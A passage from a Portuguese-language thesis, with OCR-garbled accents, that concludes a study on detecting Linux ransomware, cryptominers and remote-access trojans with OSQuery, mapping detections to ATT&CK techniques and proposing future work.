técnicas listadas em diferentes colunas ta matriz ATT&CK [9] como, por exemplo: Network
Service Discovery [96] para o estdgio de auto-propagacdo da infec¢do por ransomware, Data
Encrypted for Impact [97] no momento da criptografia dos arquivos pelo mesmo malware,
Resource Hijacking [98] no cendrio de execugao do criptominerador e Remote Access Software
[99] no estabelecimento de conexdo remota na infec¢do por RAT. Sendo assim, este trabalho
também demonstra que o OSQuery pode ser utilizado para a detecc@o de execugao das técnicas
mapeadas na matriz e, portanto, utilizado como ferramenta para atuacdo em cendrios reais de
resposta a incidentes.

Porém, assim como apontado em [76], para que a efetividade da solucdo seja aprimorada,
€ necessario que os ambientes a serem protegidos sejam devidamente estudados de modo a
se estabelecer um cendrio de normalidade para que seja possivel a identificagdo de estados
de anomalia e também se personalizar as consultas executadas pelo OSQuery, através, por
exemplo, da manuten¢do de um inventario de software atualizado para que sejam facilmente
identificados programas executados de forma suspeita nos dispositivos e da identificacdo de
arquivos essenciais para a execugdo do negécio mantido pelos dispositivos de modo a se realizar
um monitoramento constante dos seus estados de integridade. Em adi¢ao, € importante que
os cendrios de riscos e ameacas aos ambientes sejam devidamente mapeados, de modo que
a frequéncia de execucdo das consultas também seja estimada com o intuito de diminuir o
impacto causado por aquelas mais custosas aos recursos do sistema operacional.

Finalmente, a coleta, centralizacdo e andlise constante das mensagens de logs geradas por
agents do OSQuery devidamente configurados, combinada com a aplicacdo de condi¢des de
alerta baseadas nos cendrios de riscos previamente mapeados, possibilitam a um time de segu-
ranca da informacao realizar a efetiva identificacdo e contengdo de ataques ao seu ambiente em

alta escala e, portanto, a minimizacao de impactos e perdas ao seu negdcio.



Capitulo 5
Conclusao

Neste trabalho, foram apresentadas as principais técnicas, titicas e procedimentos utiliza-
dos por agentes maliciosos para realizar infec¢des a hosts de diversas naturezas (desde aqueles
de uso pessoal até servidores de aplicacdes). Em seguida, foram elencadas as principais ca-
tegorias de ameacas a servidores Linux, de acordo com pesquisas realizadas por profissionais
da VMWare [36] (sejam estas: Ransomwares, Criptomineradores e Ferramentas de Acesso
Remoto), seus casos conhecidos e suas principais caracteristicas em relacio a atuacdo em um
dispositivo infectado, o que compde o escopo deste trabalho.

O objetivo deste trabalho € a demonstra¢do do uso de ferramentas open-source, em espe-
cial o OSQuery, na deteccdo dos comportamentos maliciosos apresentados por malwares dos
trés tipos principais, introduzidos anteriormente, em simulacdes de cendrios de infec¢do. Este
objetivo foi cumprido a partir da apresentacdo de queries SQL que, a partir da sua execugao
continua por meio do servigo osquery daemon no sistema operacional, sdo capazes de retornar
linhas de log com informagdes suficientes para que um time de analistas, com conhecimento
suficiente sobre seu ambiente de producdo (em especial, munidos de um inventdrio de software
atualizado), seja capaz de identificar situagdes de risco ao ambiente (relacionadas a presenca
de comportamentos caracteristicos das ameacas apresentadas) e, rapidamente, realizar inter-
vengdes de modo a mitigar tais problemas.

Em adicdo aos objetivos tracados, os seguintes temas podem ser objeto de estudo como

préximos passos de desenvolvimento deste trabalho:

* Emulacio e identificacio de cendrios de ataque a dispositivos IoT através de ferramentas

open-source
* Observabilidade em ambientes de infraestrutura de cloud com OSQuery

* Técnicas de evasdo de defesas utilizadas por softwares maliciosos
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